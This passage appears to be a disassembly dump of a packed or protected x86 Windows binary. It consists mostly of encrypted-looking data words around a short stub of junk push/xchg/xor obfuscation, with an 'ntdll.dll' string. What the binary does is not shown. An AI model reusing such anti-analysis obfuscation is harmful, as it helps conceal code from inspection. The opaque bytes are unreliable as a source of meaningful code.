7E889C7h, 16000000h dd 4E53849Ch, 0E9527385h, 0Eh, 97871FB7h, 248B9729h, 0A2782235h dd 5E5E9F2Ch, 0FFFF3DE9h, 15E0DFFh, 0E8121568h, 0Bh, 3CCA78FAh dd 0F0C6E29Dh, 57796477h, 0D73DBA60h, 8E0F3B69h, 0 dd 0F5B5F61h, 82h, 58C38100h, 56000060h, 137ECBBEh, 0C02B5924h dd 0AA3CBF66h, 8B03148Bh, 0CEEA81F8h, 0F034C3Fh, 189h dd 0F281F900h, 2941A043h, 0C810Fh, 8D0F0000h, 6, 850Fh dd 0EA810000h, 6A0794B6h, 0CE8h, 8C0C4600h, 375F7F3Ch dd 0BEA9EDD4h, 14895E28h, 66F86003h, 0BF61CE8Bh, 35E8D0h dd 6602E883h, 508CD681h, 0DDBF4848h, 810B1709h, 0FFA060F8h dd 0F850FFFh, 0E9000000h, 18h, 0F859EC6Ah, 0FC12B395h dd 0F78B2A5Fh, 0FFFF7FE9h, 334170FFh, 58753B48h, 14E8h dd 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch, 7E7AED37h dd 7AD6819Ch, 5F0EB4DAh, 37C82BBh, 0AC78115h, 5000005Dh dd 7A7B95Bh, 0E981490Bh, 490AF089h, 0CE9h, 0A1F4C700h dd 23A1ADE4h, 5607C66h, 6637FF64h, 0E8FBD381h, 7171BA58h dd 0C081005Bh, 643DB720h, 0C08105B2h, 5469C158h, 0C584C081h dd 0EF803FDEh, 570789EEh, 0FE9h, 4FBCBB00h, 207635C0h dd 4650FD94h, 46196DC7h, 4EF835Eh, 49F2B70Fh, 0FFB7850Fh dd 6660FFFFh, 80AF4CB8h, 0EB6199E0h, 0B61B9026h, 8EAFEC33h dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 57A3D25Dh dd 7D26FEh, 0 dd 0E9000000h, 6EAh, 253CEE68h, 4208E906h, 0BE68FFFAh dd 0E906253Dh, 0FFFA41FEh, 253E5B68h, 41F4E906h, 2A68FFFAh dd 0E906253Fh, 0FFFA41EAh, 25400E68h, 41E0E906h, 0DC68FFFAh dd 0E9062540h, 0FFFA41D6h, 77EE1399h, 960DF2B3h, 0B229D8D2h dd 0CD44BBEEh, 0ED649D09h, 0C8DEE7A1h, 0B5FEC239h, 891FE35Ah dd 6A3D0178h, 0DC551E95h, 0AE665830h, 40B3EB19h, 43DAh dd 62456300h, 6117C51Bh, 38B1760Bh, 0D369B48Ch, 0EF93471Fh dd 0F5FEA95Dh, 32AB4FB0h, 6A25FDA9h, 4B81FD3h, 0E5B969E0h dd 0F91FD369h, 50D952AFh, 57E4DB1Ah, 710DC28Fh, 1FD2F799h dd 0D60FF0B5h, 1087FE22h, 727E95A2h, 71C8F630h, 11E9950Eh dd 0A41FD371h, 27D34CF0h, 15F05C46h, 88BE37EBh, 3D0A536Eh dd 85173BA1h, 0F20C11E5h, 0E6F87725h, 752A0455h, 262A909h dd 0EB360000h, 0B0E55282h, 7925AE37h, 1FD3A1A1h, 0C05C8034h dd 15F08207h, 4F27D35Ch, 0E225F2C1h, 0E6788722h, 3D769A3Eh dd 5156F689h, 0E461FF29h, 19C53E53h, 0E03E5538h, 409729DDh dd 3911BDF7h, 0CCF04095h, 72FB7418h, 8834F8B2h, 0F04095B0h dd 0C7EB8F43h, 62CFC82Bh, 33FF35E6h, 598737B6h, 0C478B1D5h dd 0A402C24Bh, 0FF23CB5Dh, 189B584Fh, 19BD65F7h, 37CAE0A0h dd 0CFD89C13h, 0FAA68624h, 0F6633D22h, 0CB5D01B5h, 0C3187F23h dd 4620A7CCh, 4A791B0h, 55570000h, 347135ACh, 1A9054CBh dd 0FDAC70E7h, 0DFC78B02h, 0A55FAB22h, 84FB06A0h, 0A51CF3C0h dd 0C33AC7E1h, 0E057A8FFh, 1AF29E17h, 0AD19AE66h, 62450275h dd 83B40B9Dh, 38E9950Eh, 0BD15F0B0h, 0F9749209h, 0A41D70C7h dd 0F913FF8h, 8D20D41Ch, 0AF4CC2EDh, 0CA76FFACh, 0C4AF8BF2h dd 8BC19945h, 0A054C4AFh, 3C8FB367h, 941D96FBh, 8B875F0Bh dd 661AC4AFh, 8B6941EDh, 48FCC4AFh, 77A78824h, 984CBACCh dd 0B54A5F1Fh, 0C53A6F23h, 146BFD21h, 0E5456223h, 0CEB76139h dd 9C40F4CAh, 0E95B6D76h, 11B51307h, 7A89EC98h, 8236C0F1h dd 955E4909h, 0D34CF011h, 0E41B8A4Ah, 360EAA52h, 0C9D0F1B9h dd 0B67AF115h, 4AA70EF1h, 0CB473641h, 3D71635h, 25870000h dd 4A165DCh, 0EAC084FBh, 0CDDCA017h, 0AFF7BB32h, 0D58FDB52h dd 0B42BD6D0h, 0D54CC3F0h, 0F36A9711h, 1087782Fh, 4A22CE47h dd 0DD19AE64h, 624532A5h, 588E0B9Dh, 4BBCA1BCh, 3285A9BAh dd 6B179005h, 15EFB9CEh, 0D940B76Bh, 29B22B5Eh, 0F1B9A57Dh dd 60843825h, 0B49A3BE7h, 8B3F1C14h, 0D5FCDC12h, 9A34587Ch dd 6A3DFD76h, 3EE21F89h, 5DA205C5h, 0A9FEC239h, 0CA6DC456h dd 99A24EC7h, 0CE223411h, 7FA7FB98h, 1E8CF150h, 5A951E3h dd 8DF4A8E1h, 0E44A141Ah, 3AF211A7h, 0EA000003h, 4C83FC2h dd 23E75EA1h, 3F037A87h, 5A1E956Ah, 0F23EB54Ch, 90713538h dd 0B15E5519h, 0CF32763Ah, 0EC139458h, 8733AC75h, 19AE63AFh dd 45970A42h, 9B249D62h, 0D3A217EFh, 0D2F6AA1Fh, 3B4EE940h dd 0B58D39C2h, 481FD3A1h, 4BF77094h, 15F0B232h, 0F9C13C7h dd 15A7584Fh, 0B32E496Dh, 0B7000001h, 0E25599EBh, 0D18A36AFh dd 6615F081h, 0E2A21FB2h, 3AB3DC4h, 78AF43DFh, 17200B0Dh dd 0E6C3F972h, 3E5F94B9h, 6038E45Dh, 0F31B3022h, 19A21B3Fh dd 230CE490h, 0EB9F1B30h, 15A62BC7h, 9F53114Dh, 0C81B60Dh dd 8F84E793h, 7D311771h, 9F624404h, 0C841650Dh, 0E9609F08h dd 0F20D9C5Ch, 0E494B860h, 68D53CC3h, 0E5F1B67Ah, 26B304Fh dd 911B0000h, 7035F970h, 5654188Fh, 397034ABh, 1B8B4FC6h dd 69236FE6h, 48BF4264h, 69E02F84h, 87FE03A5h, 0A41BE4C3h dd 0DEB662DBh, 7119AE62h, 0F37CC639h, 0D3A16F47h, 0E61B8B1Fh dd 0B373AC54h, 45690DF2h, 58181295h, 751DAF52h, 0D3A201D9h dd 3CE0941Fh, 3D6D2DAAh, 0EA4DA0C4h, 0D1822EA7h, 5615F0AFh dd 0DE9E2BA2h, 74E4B2CBh, 0AC002E70h, 0B45B5808h, 4C567A22h dd 1184B335h, 34D90F98h, 71814638h, 7E37D3F7h, 131C1044h dd 352CCC5Fh, 0B0BA742Dh, 890287h, 2D9E31CAh, 2CDC5798h dd 0C8648887h, 0B1116E43h, 0F6E0BAF0h, 0C60B247Ch, 0FE399022h dd 366128Bh, 0B0B736A9h, 0E4C383FCh, 0C468990Fh, 8B37C04Dh dd 0C736E7B3h, 0BE6E9246h, 0BD9541E9h, 50C736E7h, 3291F89Ch dd 97514B13h, 187E201h, 75370000h, 5451158Ch, 3A7034ABh dd 1D8C50C7h, 0FFA76BE2h, 853F8B02h, 64DB2680h, 85FC13A0h dd 0A31AE7C1h, 0C037C8DFh, 0FAD27EF7h, 8D19AE61h, 0F37CE255h dd 0A1E6BE6Ah, 0C5791FD3h, 0D3A15129h, 0C30E41Fh, 22B44B5Ch dd 98701CA5h, 2B1FD3A1h, 1FC33C6Bh, 0FA8FA8FBh, 0B538D581h dd 21D515F0h, 95A233AAh, 74DB8700h, 0E915F69Eh, 0DDDCB460h dd 0BB6F25F8h, 20899295h, 4BEF86CDh, 6A9512D2h, 0DA666F3h dd 0BE50AFF6h, 9E4E7216h, 0D64F609h, 42EE672Ah, 1C1BB4A9h dd 0F1C975FEh, 842C1DF4h, 0BF73ACD0h, 0E01F8646h, 248343BCh dd 7A064DBh, 280F66F8h, 8B40EC65h, 0D8223AD3h, 0DD6F9218h dd 24D81135h, 4127CCBDh, 423B9E4h, 0B9h, 47BE4369h, 66DD2283h dd 82F908A2h, 9D14EBBEh, 0BD34CDD9h, 0F8AEB771h, 0E5CE9209h dd 0B9EFB32Ah, 9A0DD148h, 0AC25EE65h, 0AE622800h, 1083BB19h dd 6F47F37Ch, 21FD3A1h, 60D72A4Eh, 9908B42Dh, 0DE15F69Dh dd 0DCD1A955h, 0B06425F8h, 269F538Ch, 30C24D66h, 1ED26488h dd 3BFF7689h, 8401936Ch, 0FC20EFC4h, 0FC597460h, 4B932288h dd 0B52ED1D6h, 97A1D37Fh, 2A5A4ABh, 0BE3559FDh, 0C052ADFAh dd 0D0629D0Ch, 0B201C13Eh, 0FF23CB5Dh, 0E0C75A84h, 0E21D8A4Ah dd 0FC9B6E46h, 0A94D01A0h, 96FA532h, 0F0364DF9h, 0C5E292B6h dd 6B2BA83Ah, 8B33C53Ah, 34C67h, 0A7D50000h, 9A674540h dd 0AC535408h, 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h dd 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh, 0EC8386A2h, 243C8904h dd 0C781E789h, 4, 8704EF83h db 3Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 3DF6h mov [esp], ebx mov ecx, 34B725F3h shr ecx, 4 sub ecx, 4B306719h push eax mov eax, 0BE3E30EAh xor ecx, eax pop eax push esp mov ebx, [esp] add esp, 4 push 1ABFh mov [esp], ecx xor dword ptr [esp], 6210271h pop dword ptr [ebx+8] xor dword ptr [ebx+8], 6210271h mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- db 0ACh, 27h, 0E1h dd 0BAB88FFEh, 3062541h, 0B4E0FFC5h, 0D529DB9h, 0F356CBD8h dd 0E313B6B3h, 872B6DD1h, 9B39FD85h, 4F3923F5h, 0A95E9F65h dd 48129C6Fh, 41223ADCh, 5B539150h, 0E82AEC07h, 0Ah, 0B3C2C4B4h dd 86050A51h, 81665D89h, 59D5D9D3h, 14E9h, 0D9B77300h dd 0DF09EA93h, 0ECEE56AFh, 2E773A5Dh, 0A31ADD75h, 0DDC18107h dd 0E8000067h, 6, 0E19AC295h, 0DF8B4AFBh, 19C5B85Eh, 0FC530000h dd 0F398B5Ah, 58Bh, 0D7DEBE00h, 0EF810262h, 5DD54C0Bh dd 4840Fh, 0BE660000h, 0EF811FB6h, 6229F288h, 0EE8h, 0A8B22D00h dd 0F0F4D807h, 3F8968B5h, 5BE0E82Dh, 6ABBEF81h, 81605B4Eh dd 0DC5933CBh, 7E963h, 61460000h, 2DDBF59Dh, 3989614Ch dd 5EF78B53h, 0F02E983h, 0B87h, 5830F00h, 0BA000000h, 3E113EDCh dd 80604949h, 0BA56E2E0h, 2E067096h, 0E883615Bh, 7E850F01h dd 81FFFFFFh, 6CD2C7C3h, 8EB1Bh, 2E000000h, 0E9561D1Dh dd 494h, 25448A68h, 3A08E906h, 368FFFAh, 0E9062545h, 0FFFA39FEh dd 25464C68h, 39F4E906h, 0F5B7FFFAh, 0D4D1950Ch, 0BAF0B42Bh dd 9D0CD047h, 7F27EB62h, 5BF0B82h, 0E45BA600h, 57C9320h dd 239A6741h, 40B7485Fh, 7A52FE77h, 0D19AE5Eh, 614562D5h dd 3E6727A0h, 63872FC1h, 5A1E54D1h, 6DABDE60h, 2A7D2D51h dd 0A9C5CD5h, 0F55CD3F7h, 4DD64F42h, 0D374C9A1h, 3EC3E51Fh dd 0B42D5105h, 0F067F308h, 3ACC8015h, 0F2A6C69Ah, 31AD2C25h dd 74474F0Ah, 2BC5E09h, 15D50000h, 36DE7091h, 4789C310h dd 70946064h, 4B7FEB0Dh, 0C37927ECh, 822D6EFDh, 9E46D827h dd 1DDD56FAh, 0DB547889h, 0EF91762Fh, 0C4570B15h, 0D4F8D724h dd 8CFD3A22h, 0AB53E51Ch, 0F5E28E07h, 72197418h, 930F45BEh dd 35EF176Ch, 0E037C9EDh, 0DB93257h, 1F93916Ch, 0A9565111h dd 52CB6F17h, 90681592h, 0DFE1A879h, 0C8FE771Bh, 0B749ACB1h dd 2AA1C5DAh, 0F4B24166h, 3502690Dh, 30F9EA4Bh, 2D67B9Ah dd 0F1BB0000h, 0D0D59910h, 0B6F4B82Fh, 9910D44Bh, 7B2BEF66h dd 9C30F86h, 0E85FA204h, 9808F24h, 279E6345h, 44BB4463h dd 7E56027Bh, 1119AE5Dh, 95A266D9h, 68DB8700h, 0F515F6E6h dd 0FA8C7535h, 7535AE52h, 0CC59D031h, 43679A0Ch, 0DD6C1393h dd 7E499D68h, 6E46F26Bh, 125F964h, 9A17A94Dh, 8434CBDAh dd 1CB8DC23h, 25F9644Dh, 4CB34C5Bh, 0F00DEC95h, 5DBBDA70h dd 42000002h, 5C20976Ah, 7B3FB649h, 975BD22Fh, 0B276ED12h dd 4A960DF4h, 0E8198D90h, 906AD71h, 27DACE92h, 44BBECB0h dd 0DF8B04CDh, 19AE5D07h, 0A2EF629Ah, 0DB870095h, 15F6E668h dd 0F7A32CB5h, 25F8E61Fh, 8A62FEB2h, 1D25F8E5h, 11B54A5Dh dd 8700B4EDh, 0E57A52FEh, 590D25F8h, 2F03A335h, 9525F8E6h dd 5A90C816h, 0D1A57289h, 29BFE3F1h, 94E7D50h, 1497Dh dd 62450A00h, 50570B9Dh, 66D138AFh, 6121AA23h, 0F793B748h dd 15F0A9E2h, 5FAAF6Fh, 18E9BF73h, 0C13ED074h, 0CA5CA501h dd 8E62FE22h, 0F425F2A8h, 87D26975h, 26097441h, 48h, 9068149Dh dd 2325F2B0h, 0B116EE9Ah, 0F5A925F2h, 7CCA2D51h, 0A00AE9BCh dd 8327CF61h, 662B0C5Fh, 867B2DEDh, 0AF284CF4h, 0F0815E03h dd 0C5570B15h, 0E01F8848h, 0C14C20BCh, 33B225F2h, 5CC990ABh dd 8AE40974h, 71000000h, 0B9D6245h, 20B24F57h, 0A4423B6Ch dd 34E850BBh, 15D54EF2h, 0B94B6F90h, 0E65DA205h, 0D31C4836h dd 0AC53541Fh, 4C337333h, 0E2CA9F4Eh, 183CE065h, 98FD3AA1h dd 0E98E731Fh, 873B15F4h, 0A9584E0Eh, 0C9386E32h, 9A9C162h dd 0C7E67CF0h, 114h, 0D74EB3F9h, 0F66D9213h, 12897832h dd 2DA45B4Eh, 4DC43D69h, 683E4701h, 555E2299h, 297F43BAh dd 0A9D61D8h, 3CB57EF5h, 0AE5BB890h, 0A0134B19h, 29A06145h dd 46BD4265h, 9D6245CFh, 0BC436424h, 55520698h, 1DA633AAh dd 0D3A19971h, 54782C1Fh, 60473601h, 0D682FB9Fh, 15F0F092h dd 5010893Dh, 8434AB56h, 25F2EFB0h, 0A51CE3C4h, 0AA3CC5E1h dd 9F8Bh, 95A21400h, 64DB8700h, 0B915F6E6h, 0E5AC8430h dd 8B3F25F8h, 0F8F82E67h, 0A49080E4h, 7024B65Ah, 8D51C837h dd 33CCD91Ah, 4A80FD8Fh, 7D061F0Ah, 22FAA68Dh, 0B525F8B2h dd 9D395D01h, 0F6110852h, 0E2304D58h, 8E26619h, 2EE27418h dd 0B2F3857Ch, 7076B727h, 708523E3h, 9224C837h, 934BC6EAh dd 6FE6198Eh, 8A03FCABh, 8E20DFCAh, 52A12664h, 6D11FC83h dd 7A3AB749h, 9C44D639h, 1EE1C878h, 637BFA8Ch, 9F16E9BEh dd 0A133CCDBh, 0F82h, 0BC7C0B00h, 639E0AE9h, 0F38529D1h dd 72D9274Bh, 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h dd 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh dd 6E986886h, 34890000h, 25DD6824h, 0C890000h, 61456824h dd 3C890000h, 4EC8324h, 0BD242C89h, 625438Eh, 685DE989h dd 5D70h, 81242489h, 42404h, 525F0000h, 8BAh, 50FA0100h dd 289C889h, 3C8B5A58h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 50240C8Bh, 405E089h, 83000000h, 48704C0h dd 8BE95C24h, 21FFFA35h, 0DD678920h, 0F39615C4h, 0F4B658C2h dd 254785B8h, 0FFC50306h, 3DCB29E0h, 823F2B0Dh, 0DFB76D7Dh dd 0B555357Eh, 1449F145h, 0C6365A11h, 0D2A1A62Ah, 19472C52h dd 7E1E2361h, 6814378h, 0B897B538h, 9A013922h, 4074376h dd 97694B35h, 0A4C2F85Bh, 0EF260708h, 7C06E84Eh, 818B7A14h dd 3EE85375h, 32565DB1h, 666ACF3h, 325655F3h, 3256ABB1h dd 5C94D5B1h, 9D10EAE9h, 325675E8h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325457B9h dd 3259ABB6h, 3245D5A7h, 3256EAAFh, 325677F7h, 32EEB8F7h dd 32565DB1h, 6B3A56h, 4C6F5732h, 62A3876Eh, 0B93687E1h dd 32450269h, 6E9975B1h, 7ABD80D4h, 0C6915B50h, 52353CACh dd 0BEE989A8h, 3D37F564h, 325D3C80h, 16E1EAB1h, 0A205373Ch dd 8EF93438h, 0A40E07F4h, 0BDB8C741h, 35972ADh, 3BBFF9E1h dd 0EF56D5B1h, 0EB76C9E3h, 0A71A0A2Fh, 53368BBEh, 6A0C05EBh dd 8407D622h, 70DB7306h, 0BCDF3BE2h, 0A813691Eh, 0DAD78C7Ah dd 3EBF2BD7h, 6656BAB1h, 0F215AF4Ch, 0DEC99048h, 0AFED1D04h dd 0F8633CD0h, 6837488Ah, 0BA7D7AE9h, 6513390h, 92F568ECh dd 0FEA943E8h, 0DCD7C8A4h, 34BF1F09h, 0C456ABB1h, 0B09BB146h dd 68377722h, 0CB962DE9h, 87BA258Fh, 38EE6FBh, 5FD239A7h dd 0FCD76413h, 1BE2315Fh, 3256C158h, 0C873F6B1h, 0F4F77D1Ah dd 608B0E36h, 0AC8F7D92h, 98C3E2CEh, 6A37CA2Ah, 0C134ABB1h dd 7DF8FC01h, 59EC0F6Dh, 75D01479h, 0D14427C5h, 32565358h dd 3E69F0B1h, 0CA0D3DE4h, 96619D60h, 0AF8517BCh, 3245032Dh dd 0E7975B1h, 1A1DA074h, 0E671BBF0h, 7295DCCCh, 5E49E9C8h dd 32464284h, 830ED5B1h, 0DF52FD27h, 0DB26C693h, 97CAB5DFh dd 53CB76CBh, 3672EA38h, 600605E1h, 3256A558h, 0FEA9CBB1h dd 8A4DC0A4h, 56A18320h, 3DC5387Ch, 3D040D80h, 680EF480h dd 626758E9h, 3D37CBE3h, 325F3C80h, 6BEAB1h, 4C6F7532h dd 68A3966Eh, 6A0E07E9h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 0DA36EAB1h, 325675B1h, 26BC3BEBh, 0BF5078FAh, 16C76434h dd 58D4DEB7h, 0BF508EF9h, 17849B33h, 5CD463B7h, 0DA5050F9h dd 3256B3FFh, 32562659h, 68D469B1h, 325072F9h, 6056ABB1h dd 12735077h, 5A00ECAEh, 0AEFECDE3h, 270F4Eh, 0B7DB5BAEh dd 3474D722h, 0B7DF874Eh, 3449B440h, 323ED1DBh, 5A56EAA1h dd 325578F1h, 0E2A9BADBh, 469656EBh, 68D42782h, 0BB5072F9h dd 171EF533h, 3F166CB7h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h dd 32564DB1h, 3252AED9h, 0CD563DB1h, 2D495A23h, 0B0DF8FB7h dd 3473A21Fh, 68D3FED0h, 0F1509FF9h, 0C3D49AD1h, 3250B1B1h dd 0F55617B1h, 2D496E33h, 3246D5B7h, 52958BB1h, 7A0CCF3Ah dd 0DD5BC94h, 0B17529B1h, 4654BECEh, 2229D4BAh, 0B158DFB5h dd 0D8BDC176h, 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h dd 0F137475Ah, 52BADCE4h, 3256AB59h, 0D8D78FB1h, 3473A6B8h dd 7AE4C73Ah, 77DDBC94h, 0B150D4B9h, 171E1C33h, 0FB3753B7h dd 5256AF73h, 3256D559h, 0D8D7B0B1h, 3473399Ch, 7AF8083Ah dd 806D5B94h, 3473E603h, 0CDD6CC5h, 8459743Ah, 75A0D4FEh dd 36236AB0h, 30BDACB2h, 7115639Ah, 355FD83Ah, 0BFDDA8AEh dd 34495F40h, 3B24738Ah, 37210C8Ah, 0D9522C32h, 46994E78h dd 0C3EB33B9h, 0D95042B9h, 5295CF06h, 32565759h, 0D8D7F1B1h dd 34739934h, 7AF8503Ah, 32EF7394h, 156BAB0h, 0B9FDAE71h dd 171E0033h, 80D4DEB7h, 53508EF9h, 32BEB572h, 6856EAB1h dd 7EF99F30h, 0B790BC94h, 34497D94h, 5F6FC6E7h, 87A983AEh dd 344999C0h, 4BC5503Ch, 0E2A9EC93h, 323E25E3h, 5856BA31h dd 68E4A2B1h, 0CD508BF9h, 5A0C0F61h, 32562BB1h, 80A9D5DBh dd 3473A21Fh, 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h dd 34731B4Ch, 0DA5EDE3Ah, 3256D729h, 58C415E4h, 6F5050F9h dd 475ACF8Ah, 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah dd 6101834Dh, 3256EA59h, 0D8D72FB1h, 3473F780h, 0B95E283Ah dd 6401BECCh, 32566059h, 4696A0B1h, 67AE5E90h, 7A3C784Eh dd 90B7394h, 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h dd 3256AD2Ch, 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh dd 325A9F78h, 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h dd 0A8D42DB1h, 335050F9h, 0B956BAB1h, 0B93055C4h, 68EC25AFh dd 0B95072F9h, 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh dd 0D9427D32h, 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h dd 329351BEh, 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah dd 3256AE1Dh, 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h dd 32567529h, 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h dd 42AD2B41h, 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h dd 3768DDF3h, 0CD693C5h, 0B26E239Ch, 122C38Fh, 7ACC574Eh dd 0B930EC94h, 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah dd 0C9D73141h, 21226B30h, 0A0A980D1h, 3473A2DBh, 0CE13FCECh dd 0CE2B39D0h, 0B93528B0h, 2D565F0Bh, 0B0DD07B7h, 3473E32Bh dd 6A66E988h, 88DDBAC3h, 34496A74h, 0A8D431E1h, 0B5078F9h dd 4D0E9E8Dh, 0F546BC8Ch, 325453F4h, 35BDD5B1h, 33AEAF76h dd 0B95675B1h, 171EE00Bh, 3949D6B7h, 949DA6Ah, 0B959226Fh dd 4FD5A7ECh, 3122D549h, 0BBAEB7B2h, 0F5D571EEh, 1B451A5h dd 3296B471h, 0B930AEB1h, 3E2BDCAFh, 46BD5031h, 0C2B555BBh dd 46261131h, 0F4649EA7h, 759153B6h, 32565DB0h, 0B19125B1h dd 0A5BF5271h, 5456ABB1h, 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh dd 0F557E539h, 32565FF6h, 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h dd 3D224521h, 47C6D431h, 4CD713BFh, 46C62A4Eh, 0B952B6B3h dd 0BF094576h, 171EE133h, 0CD00FBB7h, 171EBB23h, 4696E1B7h dd 0BF9EFEBBh, 171E0C03h, 6446B6B7h, 0CD03603Ah, 171E3D23h dd 0FC7DF6B7h, 0B1080C46h, 475712CCh, 981FC5A1h, 0B75902D7h dd 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h, 549FDE09h dd 3DEE8C1Ah, 3DFD1335h, 9957FC07h, 96A55F5Ah, 6B0D693Ah dd 0F09F08EFh, 0B903ABB9h, 32BEB55Dh, 6856EAB1h, 7DD99F30h dd 77DDBC94h, 50D4D4B9h, 53508BF9h, 32529578h, 0B1BA20E4h dd 0DA362D75h, 3256EAB1h, 82BCF4EBh, 0F5509FFEh, 3256A5F4h dd 7791AEB1h, 3256574Dh, 549698B1h, 0B091CB3Ah, 3473A22Bh dd 325675B0h, 0A2AD3BD7h, 0B2562821h, 0B659464Ah, 325656B9h dd 0DBAD2BF1h, 32A851BEh, 0B216EAB1h, 0B6599E4Ah, 3256BA45h dd 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h, 3156ABB1h, 2D436433h dd 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh dd 55ADD6D7h, 88D2A452h, 0B256D5B1h, 0C9D61A52h, 87D27AC1h dd 5456BAB1h, 0D1D6433Ah, 8AAD2E49h, 0CD610C5h, 0B214DFB4h dd 0F22F88Fh, 463ED431h, 0B0A93589h, 3473F22Bh, 0B248D6D7h dd 0B3305656h, 46BED64Ah, 2CDDCD95h, 54A63231h, 0F2D71130h dd 673662C5h, 7A3C284Eh, 0BB0B5B94h, 0B13752F4h, 3D57ABCCh dd 32578334h, 0C3EC5EB1h, 6250F5B1h, 7ACCF73Ah, 0E6FBC94h dd 0B0590581h, 3256AFA0h, 2D93ED3Ah, 0B906ADAEh, 171E4F33h dd 26AD3B7h, 0C8D97AE9h, 0B956BAB1h, 171E030Bh, 6CD42DB7h dd 265072F9h, 75DF9C38h, 0B0DD85A1h, 3473A22Bh, 6A66693Ah dd 0DB5EE538h, 32565D64h, 30AEEB76h, 0D95657B1h, 0CA136CB6h dd 3256D5B0h, 7A08503Ah, 0B0D57394h, 3473F2EFh, 0BB61D4A5h dd 0CAD5BEF6h, 0F55A22B2h, 171E3133h, 3256D7B7h, 0B15301B1h dd 6D2B7749h, 32AEC732h, 845946C5h, 0B2FFAFF7h, 475657B1h dd 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh dd 3473152Bh, 6965AA3Ah, 32565718h, 3142DE31h, 37965677h dd 7ACC68B2h, 0BB1E7394h, 75DFB2F6h, 0C500B6BDh, 0C5908569h dd 3796D469h, 7ACC29B2h, 0BB1ED394h, 75DFE2F6h, 1689EBDh dd 33103071h, 1323DD19h, 0F2D568B2h, 3257ECB3h, 0E95DABB1h dd 0A8DCDCC5h, 34727C99h, 31579631h, 3A113372h, 0D95A1A38h dd 178E59A5h, 3256574Eh, 0EAA16D9Ah, 0BB541532h, 75DFE2F6h dd 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h, 0D8D70DB1h dd 3473FA70h, 7A0C6F3Ah, 0FB65EC94h, 3D564A32h, 32567835h dd 0CD51D6B1h, 47A9A2C4h, 41BE07B9h, 4156ABB0h, 269156B4h dd 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh, 330AB586h, 0B059AEB1h dd 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h dd 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h, 3253124Eh dd 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h dd 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h dd 3A094EBDh, 0B904AFC4h dd 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh, 0B9443EEBh dd 6DDDEEF6h, 36095EBDh, 31535132h, 2D50183Bh, 22292DB7h dd 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh, 325675B4h dd 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h, 0DA365775h dd 3256D5B1h, 9EBC6BEBh, 0B95050E3h, 171EE00Bh, 0B19F6EB7h dd 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh, 32DE02E1h dd 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h dd 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h, 3629394Dh dd 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh, 3256D008h dd 0D9FD19B1h, 